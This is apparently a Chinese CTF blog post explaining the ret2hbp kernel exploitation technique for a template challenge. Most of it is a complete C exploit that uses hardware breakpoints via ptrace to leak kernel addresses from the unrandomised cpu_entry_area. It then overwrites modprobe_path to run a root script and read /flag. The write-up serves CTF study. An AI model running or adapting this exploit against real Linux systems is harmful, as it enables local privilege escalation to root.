【ret2hbp】一道板子测试题和 SCTF2023

【ret2hbp】一道板子测试题和 SCTF2023 - sycrpg

前言

ret2hbp 主要是利用在内核版本 v6.2.0 之前，cpu_entry_area mapping 区域没有参与随机化的利用。其主要针对的场景如下：

1）存在任意地址读，泄漏内核地址

2）存在无数次任意地址写，泄漏内核地址并提权

这里仅仅记录题目，具体原理请读者自行查阅资料，这里给一些参考链接：

一种借助硬件断点的提权思路分析与演示板子题也是这个大佬写的

https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html

板子题

保护：smep、smap、kalsr、pti都开了

漏洞如下：无数次任意地址写8字节

exp 如下：这里在泄漏完kernel_offset后直接利用任意写打modprobe_path，这里取巧了

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <poll.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#define DF_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x12340000
#define MMAP_SIZE 0x2000
int fd;
int pipe_fd[2];

struct arg { uint64_t addr; uint64_t val };

void arb_write(uint64_t addr, uint64_t val)
{
        struct arg arg = { .addr = addr, .val = val };
        ioctl(fd, 0, &arg);
}

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(0), addr))
                err_exit("ptrace PTRACE_POKEUSER for dr0 in set_hbp");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(7), dr7))
                err_exit("ptrace PTRACE_POKEUSER for dr7 in set_hbp");
}

void do_trigger_hbp()
{
        bind_core(0);
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
                err_exit("ptrace PTRACE_TRACEME in do trigger hbp");

        struct utsname* uts = (struct utsname*)MMAP_ADDR;
        int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);

        while (1)
        {
                raise(SIGSTOP);
                uname(uts);
                if (((uint64_t*)uts)[oob_idx])
                {
                        puts("[+] OOB Read Stack Data Successfully");
                        write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

}

void do_change_cx()
{
        bind_core(1);
        puts("[+] write cpu_entry_area DB_STACK -> rcx");
        while (1)
        {
                arb_write(CPU_ENTRY_AREA_DB_STACK_RCX_ADDR, 0x400/8);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        fd = open("/dev/vuln", O_RDONLY);
        if (fd < 0) err_exit("open dev file");

        if (mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0) == MAP_FAILED)
                err_exit("mmap MMAP_ADDR");

        pipe(pipe_fd);
        pid_t pid1, pid2;
        puts("[+] fork a process to trigger hbp");
        pid1 = fork();
        if (!pid1)
        {
                do_trigger_hbp();
                exit(0);
        } else if (pid1 < 0) {
                err_exit("fork a trigger hbp process");
        } else {
                waitpid(pid1, NULL, NULL);
        }

        pid2 = fork();
        if (!pid2)
        {
                do_change_cx();
                exit(0);
        } else if (pid2 < 0) {
                err_exit("fork a trigger hbp process");
        }

        set_hbp(pid1, MMAP_ADDR);
        struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
        while (1)
        {
                if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
                        err_exit("ptrace PTRACE_CONT");
                waitpid(pid1, NULL, NULL);

                int res = poll(&fds, 1, 0);
                if (res > 0 && (fds.revents & POLLIN))
                {
                        read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

        binary_dump("OOB READ STACK DTA", MMAP_ADDR+sizeof(struct utsname), 0x100);
        uint64_t* leak_data = MMAP_ADDR+sizeof(struct utsname);
        uint64_t kbase = leak_data[4] - 0xe0b32;
        uint64_t modprobe_path = kbase + 0x1e8b920;
        hexx("kbase", kbase);
        hexx("modprobe_path", modprobe_path);

        char cmd[8] = "/tmp/x";
        arb_write(modprobe_path, *(uint64_t*)cmd);
        get_flag();
        puts("[+] EXP NEVER END!");
        return 0;
}

效果如下：